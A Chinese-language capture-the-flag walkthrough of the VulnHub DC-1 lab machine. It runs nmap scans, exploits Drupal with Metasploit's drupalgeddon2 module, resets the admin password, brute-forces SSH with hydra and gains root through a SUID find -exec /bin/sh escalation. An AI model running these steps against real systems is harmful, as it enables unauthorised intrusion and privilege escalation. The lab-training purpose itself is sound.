環(huán)境配置:KALI攻擊機(jī)(version2020.2)、DC-1靶機(jī)
靶機(jī)下載:https://www.vulnhub.com/entry/dc-1-1,292
兩臺(tái)虛擬機(jī)網(wǎng)絡(luò)適配器設(shè)置如下:
靶機(jī)信息收集:
開始,運(yùn)行arp-scan命令掃描局域網(wǎng)主機(jī)得到靶機(jī)IP地址
kali:192.168.120.138 DC-1:192.168.120.139
得到靶機(jī)IP地址后對(duì)目標(biāo)端口進(jìn)行掃描,輸入命令nmap -A -p- -T4 192.168.120.139
掃描結(jié)果顯示80、22、111端口是open狀態(tài),由易入手在kali攻擊機(jī)打開web 80看看有什么切入點(diǎn)。
可以看到使用的是Drupal網(wǎng)站。
直接上metasploit搜索Drupal利用模塊,輸入如下命令:
root@kali-Y:~#msfconsole
msf5>search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
設(shè)置目標(biāo)主機(jī)地址set RHOSTS 192.168.120.139,然后執(zhí)行run或exploit
成功獲得會(huì)話,輸入help看看可以執(zhí)行哪些命令
執(zhí)行shell命令獲得靶機(jī)shell,輸入ls列出文件
發(fā)現(xiàn)flag1文件,cat打開看看內(nèi)容,中文意思:"每一個(gè)好的的CMS需要一個(gè)配置文件,你也這樣做."
百度搜索drupal默認(rèn)配置文件路徑,在目錄sites下面有一個(gè)名為default的子目錄里面包含站點(diǎn)的默認(rèn)配置文件settings.php
可以看到flag2提示暴力破解字典攻擊不是有效的方式,唯有獲得訪問權(quán)限的方式……
往下看列出了數(shù)據(jù)庫(kù)的用戶名和密碼,嘗試登錄數(shù)據(jù)庫(kù)查查看有什么線索
現(xiàn)在shell還不能直接進(jìn)數(shù)據(jù)庫(kù),需要python反彈得到交互shell
查找用戶名和密碼信息
看到用戶是admin,密碼是加密了,可以用密碼替換法(百度:忘記drupal管理員密碼的解決辦法)
用更新后的密碼123456登錄,在頁(yè)面找到flag3
翻譯意思是特殊權(quán)限將有助于找到密碼,但你需要-exec命令來確定如何獲取shadow
提示是跟密碼或shadow文件有關(guān),查看/etc/passwd發(fā)現(xiàn)有flag4用戶,存在用戶目錄,cd flag4用戶目錄ls列有flag4.txt.
英文大概意思是用相同方法得到root目錄下的flag.
嘗試使用hydra破解flag4用戶密碼,hydra用法具體參數(shù)help或man
-l指定用戶
-P加載破解密碼字典
ssh://ip指定使用協(xié)議和被攻擊機(jī)IP
看綠色那里顯示已經(jīng)破解成功
host:192.168.120.139
login:flag4
password:orange
通過ssh登錄192.168.120.139靶機(jī),cd /root提示沒權(quán)限。
flag4用戶目錄下有一個(gè)flag4.txt文件,我們嘗試使用find查看當(dāng)前權(quán)限
find / -type f -perm -u=s 2>/dev/null輸入命令后發(fā)現(xiàn)root權(quán)限的suid命令
可利用find命令提權(quán),在flag3時(shí)提示-exec命令,執(zhí)行如下圖命令,看到是root權(quán)限,直接提權(quán)
find flag4.txt -exec "/bin/sh" ;
這條命令很簡(jiǎn)單,find找到flag4文件后執(zhí)行/bin/sh 這樣root權(quán)限就成功獲取了。
進(jìn)入/root找到最終thefinalflag.txt